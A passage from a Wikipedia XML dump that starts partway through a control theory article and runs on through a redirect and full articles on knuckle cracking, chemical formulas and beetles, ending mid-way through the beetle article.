The process of determination of the equations of a model's dynamics is called [[model identification]]. This can be done off-line: for example, executing a series of measures from which to calculate an approximated mathematical model, typically its [[transfer function]] or matrix. Such identification from the output, however, cannot take account of unobservable dynamics. Sometimes the model is built directly starting from known physical equations: for example, in the case of a spring-damp system we know that &lt;math&gt; \ddot{{x(t)}} = - K x(t) - \Beta \dot{x(t)}&lt;/math&gt;. Even assuming that a &quot;complete&quot; model is used, all the parameters included in these equations (called &quot;nominal parameters&quot;) are never known with absolute precision: therefore the control system will have to behave correctly even in presence of their true values.

Some advanced control techniques include an &quot;on-line&quot; identification process (see later). The parameters of the model are calculated (&quot;identified&quot;) while the controller itself is running: in this way, if a drastic variation of the parameters ensues (for example, if the robot's arm releases a weight), the controller will adjust itself consequently in order to ensure the correct performance.

====Analysis====

Analysis of the robustness of a SISO control system can be performed in the frequency domain, considering the system's transfer function and using [[Nyquist diagram|Nyquist]] and [[Bode diagram]]s. Topics include '''Phase margin''' and '''Amplitude margin'''. For MIMO and, in general, more complicated control systems one must consider the theoretical results devised for each control technique (see next section): i.e., if particular robustness qualities are needed, the engineer must shift his attention to a control technique including them in its properties.

====Constraints====

A particular robustness issue is the possibility of a control system to work even in presence of constraints. In the practice every signal is physically limited. It could happen that in its true working a controller will try to send signals that cannot be performed by the machinery: for example, trying to rotate a valve at excessive speed. This can provoke a bad behaviour of the closed-loop system, or even break up actuators or other subsystems. Specific control techniques are available to solve the problem: [[model predictive control]] (see later), and [[anti-wind up system (control)|anti-wind up systems]]. The latter consists of another control block that is added to a previously synthesized controller, and ensures that the control signal never overcomes the threshold given.

==Main control strategies==

Every control system must guarantee first the stability of the closed-loop behaviour. For [[linear system]]s, this can be obtained directly placing the poles. Non-linear control systems used instead specific theories (normally based on [[Aleksandr Lyapunov|Lyapunov's]] Theory) to ensure stability without regard to inner dynamics of the systems. The possibility to fulfill different specifications varies from the model considered and/or the control strategy chosen. Here a summary list of the main control techniques is shown:

===PID controllers===
{{Main|PID controller}}

Using a so called '''PID controller''' is probably the most used control techniques, being the simplest one. &quot;PID&quot; means: Proportional-Integral-Derivative, referring to the three types of sub.-system which can be added before the system under control. If &lt;math&gt;u(t)&lt;/math&gt; is the control signal sent to the system, &lt;math&gt;y(t)&lt;/math&gt; is the measured output and &lt;math&gt;r(t)&lt;/math&gt; is the desired output, and tracking error &lt;math&gt;e(t)=r(t)- y(t)&lt;/math&gt;, a PID controller has the general form

:&lt;math&gt;u(t) =  K_P e(t) + K_I \int e(t)dt + K_D \dot{e}(t)&lt;/math&gt;

The desired closed loop dynamics can be easily obtained by adjusting the three parameters &lt;math&gt; K_P&lt;/math&gt;, &lt;math&gt; K_I&lt;/math&gt; and &lt;math&gt; K_D&lt;/math&gt;. Stability can be ensured using only the proportional term, but the integral term permits the rejection of a step disturbance (often a striking specification in [[process control]]). The derivative term is often omitted. PID controllers are the easiest class of control systems: however, they cannot be used in several more complicated cases, especially if MIMO systems are considered.

===Direct pole placement===
{{Main|State space (controls)}}

For MIMO systems, pole placement can be performed mathematically using a [[State space (controls)|State space representation]] of the open-loop system and calculating a feedback matrix assigning poles in the desired positions. In complicated system this can require large computer-assisted calculation capabilities, and cannot always ensure robust results.

===Optimal control===
{{Main|Optimal control}}

Optimal control is a particular control technique in which the control signal optimizes a certain &quot;cost index&quot;: for example, in the case of a satellite we could need to know the jet thrusts to give in order to bring it again in the desired trajectory after a perturbation, consuming as little fuel as possible in the process. Two classes of optimal controls have been widely used in industrial applications, as it has been shown they can ensure closed-loop stability also. These are [[Model Predictive Control]] ('''MPC''') and [[Linear-Quadratic-Gaussian control]] ('''LQG'''). The first is the more successful one, as it can take account of the presence of constraints over the signals present in the systems, which is an important topic in many industrial processes (by the way, the &quot;optimal control&quot; structure in MPC is only a means to achieve such a result, as it does not optimize a true performance index as a closed-loop control system). Together with PID controllers, MPC systems are the most widely used control technique in [[process control]].

See also:
* [[Model predictive control]]
* [[H infinity]]

===Adaptive control===
{{Main|Adaptive control}}

Adaptive control uses an on-line identification of the process parameters, obtaining strong robustness properties. Adaptive controls were applied for the first time in the [[Aircraft industry]] in the [[1950s]], and have found particular success in that field.

===Non-linear control systems===
{{Main|Non-linear control}}

Processes in industries like [[Robotics]] and [[Aerospace industry]] typically have strong non-linear dynamics. In control theory is sometimes possible to linearize such classes of system and apply linear techniques: but in many cases it had been necessary to devise from scratch theories permitting control of non-linear systems. These normally take advantage of results based on [[Lyapunov's theory]].

==See also==
* [[Control engineering]]
* [[Intelligent control]]
* [[Model identification]]
* [[Process control]]
* [[Robotic unicycle]]
* [[Root locus]]
* [[Servomechanism]]
* [[State space (controls)]]
* [[Fractional order control]]
* [[Stable polynomial]]
* [[Robust control]]
* [[Systems theory]]
* [[Distributed parameter systems]] (infinite-dimensional systems)
* [[Perceptual control theory]]

== Appendix A ==
Derivation of transfer function:
&lt;table&gt;
&lt;tr&gt;&lt;td valign=&quot;top&quot;&gt;
    &lt;td&gt;&lt;math&gt;Y(s) = P(s) U(s)\,\!&lt;/math&gt;
    &lt;td valign=&quot;middle&quot;&gt; (1)
&lt;tr&gt;
&lt;tr&gt;
&lt;tr&gt;
&lt;tr&gt;
&lt;tr&gt;&lt;td valign=&quot;top&quot;&gt;
    &lt;td&gt;&lt;math&gt;U(s) = C(s) E(s)\,\!&lt;/math&gt;
    &lt;td valign=&quot;middle&quot;&gt; (2)
&lt;tr&gt;
&lt;tr&gt;
&lt;tr&gt;
&lt;tr&gt;
&lt;tr&gt;&lt;td valign=&quot;top&quot;&gt;
    &lt;td&gt;&lt;math&gt;E(s) = R(s) - Y(s)\,\!&lt;/math&gt;
    &lt;td valign=&quot;middle&quot;&gt; (3)
&lt;tr&gt;
&lt;tr&gt;
&lt;tr&gt;
&lt;tr&gt;
&lt;tr&gt;
&lt;tr&gt;
&lt;tr&gt;
&lt;tr&gt;
&lt;tr&gt;
&lt;tr&gt;
&lt;tr&gt;&lt;td valign=&quot;top&quot;&gt;(1) + (2)
    &lt;td&gt; &lt;math&gt;Y = P C E\,\!&lt;/math&gt;
    &lt;td valign=&quot;middle&quot;&gt; (4)
&lt;tr&gt;
&lt;tr&gt;
&lt;tr&gt;
&lt;tr&gt;
&lt;tr&gt;&lt;td valign=&quot;top&quot;&gt;(4) + (3)
    &lt;td&gt; &lt;math&gt;Y = P C ( R - Y )\,\! &lt;/math&gt;
    &lt;td valign=&quot;middle&quot;&gt;
&lt;tr&gt;
&lt;tr&gt;
&lt;tr&gt;
&lt;tr&gt;
&lt;tr&gt;&lt;td valign=&quot;top&quot;&gt;
    &lt;td&gt;&lt;math&gt;Y = P C R -  P C Y\,\! &lt;/math&gt;
    &lt;td valign=&quot;middle&quot;&gt; ''Expanding out ( R &amp;minus; Y )''
&lt;tr&gt;
&lt;tr&gt;
&lt;tr&gt;
&lt;tr&gt;
&lt;tr&gt;&lt;td valign=&quot;top&quot;&gt;
    &lt;td&gt;&lt;math&gt;Y + P C Y = P C R\,\! &lt;/math&gt;
    &lt;td valign=&quot;middle&quot;&gt; ''Moving P C Y to the left hand side''
&lt;tr&gt;
&lt;tr&gt;
&lt;tr&gt;
&lt;tr&gt;
&lt;tr&gt;&lt;td valign=&quot;top&quot;&gt;
    &lt;td&gt;&lt;math&gt;Y ( 1 + P C ) = P C R\,\! &lt;/math&gt;
    &lt;td valign=&quot;middle&quot;&gt; ''Consolidating the common term Y''
&lt;tr&gt;
&lt;tr&gt;
&lt;tr&gt;
&lt;tr&gt;
&lt;tr&gt;&lt;td valign=&quot;top&quot;&gt;
    &lt;td&gt;&lt;math&gt;Y = \frac{P C R}{1 + P C}&lt;/math&gt;
    &lt;td valign=&quot;middle&quot;&gt; '' Isolating out the term Y''
&lt;tr&gt;
&lt;tr&gt;
&lt;tr&gt;
&lt;tr&gt;
&lt;tr&gt;&lt;td valign=&quot;top&quot;&gt;
    &lt;td&gt;&lt;math&gt;Y = \frac{P C}{1 + P C} R&lt;/math&gt;&lt;br&gt;
    &lt;td&gt; (5)
&lt;/table&gt;

[[Category:Control theory| ]]
[[Category:Cybernetics]]
[[Category:Engineering]]

[[de:Kontrolltheorie]]
[[fr:Automatique]]
[[fr:Régulation]]
[[it:Teoria del controllo]]
[[ja:&amp;#21046;&amp;#24481;&amp;#29702;&amp;#35542;]]
[[pl:Teoria sterowania]]
[[th:&amp;#3607;&amp;#3620;&amp;#3625;&amp;#3598;&amp;#3637;&amp;#3619;&amp;#3632;&amp;#3610;&amp;#3610;&amp;#3588;&amp;#3623;&amp;#3610;&amp;#3588;&amp;#3640;&amp;#3617;]]</text>
    </revision>
  </page>
  <page>
    <title>Clangers</title>
    <id>7040</id>
    <revision>
      <id>15905140</id>
      <timestamp>2002-02-25T15:43:11Z</timestamp>
      <contributor>
        <ip>Conversion script</ip>
      </contributor>
      <minor />
      <comment>Automated conversion</comment>
      <text xml:space="preserve">#REDIRECT [[The Clangers]]
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  </page>
  <page>
    <title>Cracking knuckles</title>
    <id>7042</id>
    <revision>
      <id>39952212</id>
      <timestamp>2006-02-17T01:17:45Z</timestamp>
      <contributor>
        <username>Teimu.tm</username>
        <id>482182</id>
      </contributor>
      <comment>/* External links */</comment>
      <text xml:space="preserve">'''Cracking knuckles''' is the practice of manipulating one's [[finger]]s such that the hand (most usually the knuckle joint) produces a sharp [[sound]], likened to cracking (also likened to popping, etc). To produce the sounds, many people will bend their fingers into unusual positions, or manipulate them in ways which are not commonly experienced in everyday use. For example, bending the [[fingers]] right back towards the back of the hand, or pulling them away from the [[hand]].

In many early [[Film|motion pictures]] and subsequently [[Parody|parodied]] in [[animation|animated]] [[cartoon|cartoons]], the gesture of cracking knuckles was associated with a &quot;tough guy&quot; image, especially when accompanied by the implicit or explicit threat of [[violence]].

The physical mechanism is unknown, but possibilities that have been suggested include:
# [[cavitation]] within the joint &amp;ndash; small cavities of partial vacuum form in the fluid then rapidly collapse, producing a sharp sound (hypothesis in a medical journal)
# the sudden stretching of ligaments (hypothesis by one reader of that journal)
# release of gas from the joints being adjusted (this applies to the popping that can occur in any joint such as during [[chiropractic manipulation]])

A single event is not enough to cause damage to the [[joint]], although it is possible that prolonged joint stress due to cracking knuckles may eventually lead to a higher risk of joint damage. The long-term consequences of this practice have not been studied thoroughly, and the scientific evidence is inconclusive. However, the common parental advice &quot;Cracking your knuckles gives you [[arthritis]]&quot; may be simply a device to deter children from this practice, which many people find annoying because of the sound it makes. In actual fact, study by Castellanos and Axelrod showed that arthritis was not a product of knuckle cracking. They evaluated 300 consecutive outpatients at Mount Carmel Mercy Hospital to determine whether habitual knuckle cracking is a risk factor for hand dysfunction. They found no relation with osteoarthritis, but noted that 'knuckle crackers were more likely to have hand swelling and lower grip strength.'

A [[chiropractic]] perspective:

:&quot;As a joint is being distracted, the capsule invaginates inward and as the stress on the capsule reaches a certain threshold, it suddenly snaps back from the synovial fluid, increasing the volume of the capsule (and decreasing pressure) and causing the audible sound. The sudden increase in the volume causes the tension to drop, allowing the joint to increase in movement. Eventually, the elastic limit of the capsule is reached and the process stops. The time elapsed during all this is shorter than that required for completion of the stretch reflex, so it can occur without muscular resistance. The sudden jerk on the capsule and the other periarticular tissues is theorized to cause firing of the high-threshold mechanoreceptors.&quot; [http://www.chiro-online.com/interadcom/murphy3.html]

== External links ==
* [http://www.chiro-online.com/interadcom/murphy3.html Mechanisms Involved in Joint Manipulation] &amp;ndash; from a Chiropractic website
* [http://elfstrom.com/arthritis/knuckle-cracking.html Does Knuckle Cracking Cause Arthiritis?] &amp;ndash; A study on Knuckle Cracking
* [http://www.jointcrackers.com Joint Crackers Community] &amp;ndash; Community of Joint Crackers
* [http://www.howstuffworks.com/question437.htm Howstuffworks &quot;What makes your knuckles pop?&quot;] &amp;ndash; Another explanation on why knuckles crack

[[Category:Hand]]
[[Category:Contortion]]

[[de:Fingerknacken]]</text>
    </revision>
  </page>
  <page>
    <title>Chemical formula</title>
    <id>7043</id>
    <revision>
      <id>41927602</id>
      <timestamp>2006-03-02T18:00:33Z</timestamp>
      <contributor>
        <username>Vsmith</username>
        <id>84417</id>
      </contributor>
      <minor />
      <comment>Reverted edits by [[Special:Contributions/199.43.172.254|199.43.172.254]] ([[User talk:199.43.172.254|talk]]) to last version by Itub</comment>
      <text xml:space="preserve">A '''chemical formula''' (also called '''molecular formula''') is a concise way of expressing information about the [[atom]]s that constitute a particular [[chemical compound]].  It identifies each type of [[chemical element]] by its [[element symbol]] and identifies the number of atoms of such element to be found in each discrete [[molecule]] of that compound. The number of atoms (if greater than one) is indicated as a [[subscript]] (although 19th-century books often used superscripts). For non-molecular substances the subscripts indicate the ratio of elements in the empirical formula. Chemical formula used for a series of compounds that differ from each other by a constant unit is called '''general formula'''. Such a series is called the [[homologous series]], while its members are called homologs. The [[Hill system]] is a common convention for writing and sorting formulas.



== Molecular and [[structural formula]]s ==

For example [[methane]], a simple molecule consisting of one [[carbon]] atom bonded to four [[hydrogen]] atoms has the chemical formula:

: CH&lt;sub&gt;4&lt;/sub&gt; 
and glucose with six [[carbon]] atoms, twelve [[hydrogen]] atoms and six [[oxygen]] atoms has the chemical formula:
: C&lt;sub&gt;6&lt;/sub&gt;H&lt;sub&gt;12&lt;/sub&gt;O&lt;sub&gt;6&lt;/sub&gt;.

A chemical formula may also supply information about the types and spatial arrangement of bonds in the chemical, though it does not necessarily specify the exact [[isomer]].  For example [[ethane]] consists of two carbon atoms single-bonded to each other, each having three hydrogen atoms bonded to it. Its chemical formula can be rendered as CH&lt;sub&gt;3&lt;/sub&gt;CH&lt;sub&gt;3&lt;/sub&gt;. If there were a double bond between the carbon atoms (and thus each carbon only had two hydrogens), the chemical formula may be written: CH&lt;sub&gt;2&lt;/sub&gt;CH&lt;sub&gt;2&lt;/sub&gt;, and the fact that there is a double bond between the carbons is assumed. However, a more explicit and correct method is to write H&lt;sub&gt;2&lt;/sub&gt;C:CH&lt;sub&gt;2&lt;/sub&gt; or H&lt;sub&gt;2&lt;/sub&gt;C=CH&lt;sub&gt;2&lt;/sub&gt;. The two dots or lines indicate that a double bond connects the atoms on either side of them.  

A triple bond may be expressed with three dots or lines, and if there may be ambiguity, a single dot or line may be used to indicate a single bond.

Molecules with multiple functional groups that are the same may be expressed in the following way: (CH&lt;sub&gt;3&lt;/sub&gt;)&lt;sub&gt;3&lt;/sub&gt;CH. However, this implies a different structure from other molecules that can be formed using the same atoms ([[isomer]]s). The formula (CH&lt;sub&gt;3&lt;/sub&gt;)&lt;sub&gt;3&lt;/sub&gt;CH implies a chain of three carbon atoms, with the middle carbon atom bonded to another carbon:

[[Image:chemformula.gif|Carbon chain]]

and the remaining bonds on the carbons all leading to hydrogen atoms. However, the same number of atoms (10 hydrogens and 4 carbons, or C&lt;sub&gt;4&lt;/sub&gt;H&lt;sub&gt;10&lt;/sub&gt;) may be used to make a straight chain: CH&lt;sub&gt;3&lt;/sub&gt;CH&lt;sub&gt;2&lt;/sub&gt;CH&lt;sub&gt;2&lt;/sub&gt;CH&lt;sub&gt;3&lt;/sub&gt;.

The alkene but-2-ene has two isomers which the chemical formula  CH&lt;sub&gt;3&lt;/sub&gt;CH=CHCH&lt;sub&gt;3&lt;/sub&gt; does not identify.  The relative position of the two methyl groups must be indicated by additional notation denoting whether the methyl groups are on the same side of the double bond (''cis'' or ''Z'') or on the opposite sides from each other.(''trans'' or ''E'')

== Polymers ==

For [[polymer]]s, parentheses are placed around the repeating unit. For example, a [[hydrocarbon]] molecule that is described as: CH&lt;sub&gt;3&lt;/sub&gt;(CH&lt;sub&gt;2&lt;/sub&gt;)&lt;sub&gt;50&lt;/sub&gt;CH&lt;sub&gt;3&lt;/sub&gt;, is a molecule with 50 repeating units. If the number of repeating units is unknown or variable, the letter ''n'' may be used to indicate this: CH&lt;sub&gt;3&lt;/sub&gt;(CH&lt;sub&gt;2&lt;/sub&gt;)&lt;sub&gt;''n''&lt;/sub&gt;CH&lt;sub&gt;3&lt;/sub&gt;.&lt;br&gt;

== Ions ==

For [[ion]]s, the charge on a particular atom may be denoted with a right-hand superscript. For example Na&lt;sup&gt;+&lt;/sup&gt;, or Cu&lt;sup&gt;2+&lt;/sup&gt;. The total charge on a charged molecule or a [[polyatomic ion]] may also be shown in this way. For example: hydronium, H&lt;sub&gt;3&lt;/sub&gt;O&lt;sup&gt;+&lt;/sup&gt; or sulfate, SO&lt;sub&gt;4&lt;/sub&gt;&lt;sup&gt;2-&lt;/sup&gt;.

== Isotopes ==

Although [[isotope]]s are more relevant to [[nuclear chemistry]] or [[stable isotope]] chemistry than to conventional chemistry, different isotopes may be indicated with a left-hand [[superscript]] in a chemical formula. For example, the phosphate ion containing radioactive phosphorus-32 is &lt;sup&gt;32&lt;/sup&gt;PO&lt;sub&gt;4&lt;/sub&gt;&lt;sup&gt;3-&lt;/sup&gt;. Also a study involving stable isotope ratios might include &lt;sup&gt;18&lt;/sup&gt;O:&lt;sup&gt;16&lt;/sup&gt;O.

A left-hand subscript is sometimes used to indicate redundantly, for convenience, the [[atomic number]].

== Empirical formula ==

In [[chemistry]], the [[empirical formula]] of a chemical is a simple expression of the relative number of each type of atom or ratio of the elements in it. Empirical formulas are the standard for ionic compounds, such as CaCl&lt;sub&gt;2&lt;/sub&gt;, and for macromolecules, such as SiO&lt;sub&gt;2&lt;/sub&gt;. An empirical formula makes no reference to [[isomer]]ism, structure, or absolute number of atoms.  The term '''empirical''' refers to the process of [[elemental analysis]], a technique of [[analytical chemistry]] used to determine the relative percent composition of a pure chemical substance by element.

For example, [[hexane]] could have a [[chemical formula]] of CH&lt;sub&gt;3&lt;/sub&gt;CH&lt;sub&gt;2&lt;/sub&gt;CH&lt;sub&gt;2&lt;/sub&gt;CH&lt;sub&gt;2&lt;/sub&gt;CH&lt;sub&gt;2&lt;/sub&gt;CH&lt;sub&gt;3&lt;/sub&gt;, implying that it has a straight chain structure, 6 [[carbon]] atoms, and 14 [[hydrogen]] atoms. However the empirical formula for the same molecule would be C&lt;sub&gt;3&lt;/sub&gt;H&lt;sub&gt;7&lt;/sub&gt;.

==Non-stoichiometric formulas==

''Main article: [[Non-stoichiometric compound]]''

Chemical formulas most often use [[natural number]]s for each of the elements. However, there is a whole class of compounds, called [[non-stoichiometric compound]]s, that cannot be represented by well-defined natural numbers. Such a formula might be written using [[real number]]s, as in Fe&lt;sub&gt;0.95&lt;/sub&gt;O, or it might include a variable part represented by a letter, as in Fe&lt;sub&gt;1–x&lt;/sub&gt;O.

== See also ==

* [[Periodic table]]
* [[Element symbol]]

[[Category:Chemical nomenclature]]
[[Category:Notation]]

[[ar:صيغة كيميائية]]
[[als:Summenformel]]
[[cs:Chemický vzorec]]
[[de:Summenformel]]
[[es:Fórmula química]]
[[eo:Kemia formulo]]
[[fr:Formule brute]]
[[io:Kruda formulo]]
[[it:Formula chimica]]
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[[nds:Chembloueisch Formel]]
[[ja:&amp;#21270;&amp;#23398;&amp;#24335;]]
[[nn:Kjemisk formel]]
[[pt:Fórmula química]]
[[fi:Kemiallinen kaava]]
[[sv:Summaformel]]
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  </page>
  <page>
    <title>Beetle</title>
    <id>7044</id>
    <revision>
      <id>41341920</id>
      <timestamp>2006-02-26T18:44:28Z</timestamp>
      <contributor>
        <username>Cotinis</username>
        <id>985249</id>
      </contributor>
      <comment>/* External links */</comment>
      <text xml:space="preserve">{{OtherUses|an insect}}
{{Taxobox
| color = pink
| name = Beetles
| image = Colorado potato beetle.jpg
| image_width = 250px
| image_caption = [[Colorado potato beetle]], ''Leptinotarsa decemlineata''
| regnum = [[Animal]]ia
| phylum = [[Arthropod]]a
| classis = [[Insect]]a
| subclassis = [[Pterygota]]
| infraclassis = [[Neoptera]]
| superordo = [[Endopterygota]]
| ordo = '''Coleoptera'''
| ordo_authority = [[Carolus Linnaeus|Linnaeus]], 1758
| subdivision_ranks = [[Suborder (biology)|Suborders]]
| subdivision = 
[[Adephaga]]&lt;br/&gt;
[[Archostemata]]&lt;br/&gt;
[[Myxophaga]]&lt;br/&gt;
[[Polyphaga]]&lt;br/&gt;
''See [[subgroups of the order Coleoptera]]''
}}
'''Beetles''' are one of the most diverse groups of [[insect]]s. Their [[order (biology)|order]], '''Coleoptera''' (meaning &quot;sheathed wing&quot;), has more [[species]] in it than any other order in the entire [[animal kingdom]]. Forty percent of all described insect species are beetles (about 350,000 species), and new species are regularly discovered. Estimates put the total number of species — described and undescribed — at between 5 and 8 million. This is why, when [[J. B. S. Haldane]], a [[United Kingdom|British]] [[geneticist]], was asked what his studies of nature revealed about [[God]], he replied, &quot;An inordinate fondness for beetles&quot;. 

Beetles can be found in almost all habitats, but are not known to occur in the sea or in the [[polar regions]]. They have a major impact on the [[ecosystem]] in three ways: feeding on [[plant]]s and [[fungus|fungi]], breaking down animal and plant debris, and eating other [[invertebrate]]s. Certain species are agricultural pests in some areas, for example the [[Colorado potato beetle]] (''Leptinotarsa decemlineata''), while other species are important controls of agricultural pests, for example the [[ladybird|lady beetles]] (family Coccinellidae) consume [[aphid]]s, [[Tephritidae|fruit flies]], [[thrip]]s, and other plant-sucking insects that damage crops.

==Anatomy==
&lt;!-- Unsourced image removed: [[Image:Beetle Anatomy.jpg|thumb|400px|Overview of the dorsal anatomy of a Beetle]] --&gt;

Bearing in mind the wide diversity and number of species the [[anatomy]] of beetles is quite uniform. Beetles are generally characterised by a particularly hard [[exoskeleton]], and the hard wing-cases ([[elytra]]) which tend to cover the hind part of the body and protect the second wings, the [[alae]]. The elytra are not used in [[flight|flying]], but generally must be raised in order to move the hindwings. In some cases the ability to fly has been lost, characteristically in families such as [[Carabidae]] and [[Curculionidae]]. After landing, the hindwings are folded below the elytra.

In a few families, both the ability to fly and the wing-cases have been lost, with the best known example being the &quot;[[glowworm]]s&quot; of the family [[Phengodidae]], in which the females are [[Larviform female|larviform]] throughout their lives.

The bodies of beetles are divided into three sections, the head, the [[thorax]], and the [[abdomen]], and these in themselves may be composed of several further segments.

The eyes are [[compound eye|compound]], and may display some remarkable adabtability, as in the case of the [[Whirligig beetle]]s (family Gyrinidae), in which the eyes are split to allow a view both above and below the waterline.  The dorsal appendage aids the beetle in stalking prey.

[[Antenna (biology)|Antennae]] can vary greatly and may be [[filiform]], [[claviform]], [[flabellate]] or [[genticulate]].

[[Oxygen]] is taken in via a [[trachea]]l system: this takes air in through a series of tubes along the body which is then taken into increasingly finer fibres. Pumping movements of the body force the air through the system. Although beetles have [[blood]], it is not used for oxygen transference, although a [[heart]] is present.

==Development==
[[Image:Engerling1.jpg|thumb|300px|Larva of the [[cockchafer]] (''Melolontha melolontha'')]]

Beetles are [[endopterygotes]] with complete [[metamorphosis (biology)|metamorphosis]]. The [[larva]] of a beetle is often called a grub and represents the principal feeding stage of the life-cycle.

The eggs of beetles are minute but may be brightly coloured, they are laid in clumps and there may be from several dozen to several thousand eggs laid by a single female.

Once the egg hatches the larvae tend to feed voraciously, whether out in the open such as with Ladybird larvae, or within plants such as with leaf beetle larvae.

As with [[lepidoptera]], beetle larvae pupate for a period, and from the [[pupa]] emerges a fully formed beetle  or [[imago]].

In some cases there are several transitory larvae stages and this is known as [[hypermetamorphosis]]; examples include the [[blister beetle]]s (family Meloidae).

==Physiology==
There are few things that a beetle somewhere will not eat, even inorganic matter may be consumed.

Some beetles are highly specialised in their diet; for example, the [[Colorado potato beetle]] (''Leptinotarsa decemlineata'') opts almost entirely to colonize plants of the [[potato]] family ([[Solanaceae]]). Others are generalists, eating both plants and animals. [[Ground beetle]]s (family Carabidae) and [[rove beetle]]s (family Staphylinidae) are entirely carnivorous and will catch and comsume small prey such as [[earthworm]]s and [[snail]]s.

Decaying organic matter is a primary diet for many species, this can range from dung which is consumed by [[coprophagous]] species such as the [[scarab beetle]]s (family Scarabaeidae), to dead animals which are eaten by [[necrophagous]] species such as the [[carrion beetle]]s (family Silphidae). The beneficial impact to the general ecology of these two activities is huge.

Various techniques are employed by many species for retaining both air and water supplies. [[Predaceous diving beetle]]s (family Dytiscidae) may be the most common example, they employ a technique of retaining air when diving between the abdomen and the elytra.

==Reproduction==
The larval period of beetles varies between species but can be as long as several years. Adults have an extremely variable lifespan, again, from weeks to years.

Beetles may display some extremely intricate behaviour when mating. Smell is thought to play significant importance in the location of a mate.

Conflict can play a part in the mating rituals for example in species such as [[burying beetle]]s (genus ''Nicrophorus'') where localised conflicts between males and females rage until only one of each is left, thus ensuring reproduction by the strongest and fittest. Many beetles are territorial and will fiercly defend their small patch of territory from intruding males.

Pairing is generally short but in some cases will last for several hours. During pairing [[sperm cell]]s are transferred to the female to [[fertilise]] the egg.

==Parental care==
As befitting such a large order, the parental care between species varies widely. It ranges from the simple laying of eggs under a leaf to [[scarab beetle]]s, which construct impressive underground structures complete with a supply of dung to house and feed their young.

There are other notable ways of caring for the eggs and young, such as those employed by [[leaf roller]]s, who bite sections of leaf causing it to curl inwards and then lay the eggs, thus protected, inside.

Generally the number of eggs laid is an indicator of the level of parental care subsequently employed, as they are inversely proportional.

==Predation==
Beetles and larvae have evolved to employ a variety of different strategies for avoiding being eaten.

Many employ simple camoflage to avoid being spotted by predators. These include the [[leaf beetle]]s (family Chysomelidae) that have a green colouring very similair to their habitat on tree leaves.

A number of [[longhorn beetle]]s (family Cerambycidae) bear a striking resemblance to [[wasp]]s, thus benefitting from a measure of protection. Large [[ground beetle]]s by contrast will tend to go on the attack, using their strong [[mandible]]s to forcibly persuade a predator to seek out easier prey.

Many species, including [[ladybird|lady beetle]]s and [[blister beetle]]s, can secrete poisonous substances to make them unpalatable.

== Evolutionary history and classification ==
Beetles entered the [[fossil record]] during the Lower [[Permian]], about 265 million years ago.

The four extant suborders of beetle are these:
* [[Polyphaga]] is the largest suborder, containing more than 300,000 described species in more than 170 families, including [[rove beetle]]s (Staphylinidae), [[scarab beetle]]s (Scarabaeidae), [[blister beetle]]s (Meloidae), [[stag beetle]]s (Lucanidae), and [[true weevil]]s (Curculionidae). These beetles can be identified by the cervical [[sclerite]]s (hardened parts of the head used as points of attachment for muscles) absent in the other suborders.
* [[Adephaga]] contains about 10 families of predatory beetles, includes [[ground beetle]]s (Carabidae), [[predacious diving beetle]]s (Dytiscidae) and [[whirligig beetle]]s (Gyrinidae). In these beetles the [[testes]] are tubular and the first abdominal sternum (a plate of the [[exoskeleton]]) is divided by the hind [[coxa]]e (the basal joints of the beetle's legs).
* [[Archostemata]] contains four families of mainly wood-eating beetles, including [[reticulated beetle]]s (Cupedidae) and [[telephone-pole beetle]]s (Micromalthidae).
* [[Myxophaga]] contains about 100 described species in four families, mostly very small, including [[skiff beetle]]s (Hydroscaphidae) and [[minute bog beetle]]s (Sphaeriusidae).

These suborders diverged in the Permian and [[Triassic]]. Their phylogenetic relationship is uncertain, with the most popular hypothesis being that Polyphaga and Myxophaga are most closely related, with Adephaga an outgroup to those two, and Archostemata an outgroup to the other three.

The extraordinary number of beetle species poses special problems for [[Linnaean taxonomy|classification]], with some families consisting of thousands of species and needing further division into subfamilies and tribes.

See the article [[subgroups of the order Coleoptera]] for a complete list of families and [http://www.fond4beetles.com/families.html] for a complete list of World families and subfamilies.

==Impact on humans==
===Pests===
[[Image:Bonenkever Acanthoscelides obtectus.jpg|thumb|300px|Damage to beans by larvae of the [[common bean weevil]], ''Acanthoscelides obtectus'']]

There are several serious agricultural and household pests represented by the order, these include : 

* The [[Colorado potato beetle]] (''Leptinotarsa decemlineata'') is a notorious pest of [[potato]] plants. Adults mate before overwintering deep in the soil, so that when they emerge the following spring, females can lay eggs immediately, once a suitable host plant has been found. As well as potatoes, this can be any one of a number of plants from the potato family ([[Solanaceae]]) such as [[nightshade]], [[tomato]], [[aubergine]] and [[capsicum]]. Crops are destroyed and the beetle can only be treated by employing expensive [[pesticide]]s, many of which it has begun to develop immunity to.
* The [[elm bark beetle]]s, ''Hylurgopinus rufipes'', [[elm leaf beetle]] ''Pyrrhalta luteola'' and ''Scolytus multistriatus'' (in the family [[Bark beetle| Scolytidae]]) attack [[elm]] trees. They are important elm pests because they carry [[Dutch elm disease]] (the fungus ''Ophiostoma ulmi'') as they move from infected breeding sites to feed on healthy elm trees. The spread of the fungus by the beetle has led to the devastastation of elm trees in many parts of the Northern Hemisphere, notably North America and Europe.
* The [[death watch beetle]] (''Xestobium rufovillosum'') is of some considerable importance as a pest of wooden structures in older buildings in Britain. It attacks [[hardwood]]s such as [[oak]] and [[chestnut]], and always where some fungal decay has taken or is taking place. It is most usual for death watch beetle attacks to originate in timber of large dimensions, and it is thought that the actual introduction of the pest into buildings takes place at the time of construction.
* [[Asian long-horned beetle]]
* [[Citrus long-horned beetle]]

===Beneficial organisms===
* The larvae of [[ladybird|lady beetles]]  (family Coccinellidae) are often found in [[aphid]] colonies. While both adult and larval lady beetles found on crops prefer aphids, they will, if aphids are scarce, use food from other sources, such as small [[caterpillar]]s, young plant bugs, aphid honeydew, and plant nectar.
* Large [[ground beetle]]s (family Carabidae) are predators of caterpillars and, on occasion, adult [[weevil]]s, whereas smaller species attack eggs, small caterpillars, and other pest insects.

Some farmers introduce [[beetle bank]]s to foster and provide cover for beneficial beetles.

===Scarab beetles in Egyptian culture===
[[Image:Egypt.KV6.04.jpg|thumb|300px|Ancient Egyptian scene depicting a scarab beetle]]

The [[scarab beetle]]s (family Scarabaeidae) are [[coprophagous]] beetles. 

It seemed to the [[ancient Egypt]]ians that young scarab beetles emerged spontaneously from the burrow where they were born. Therefore they were worshipped as &quot;[[Khepri]]&quot;, which means &quot;he who came forth.&quot; This creative aspect of the scarab was associated with the creator god [[Atum]]. The ray-like antennae on the beetle's head and its practice of dung-rolling caused the beetle to also carry solar symbolism. The scarab beetle god Khepri was believed to push the setting sun along the sky in the same manner as the beetle with his ball of dung.

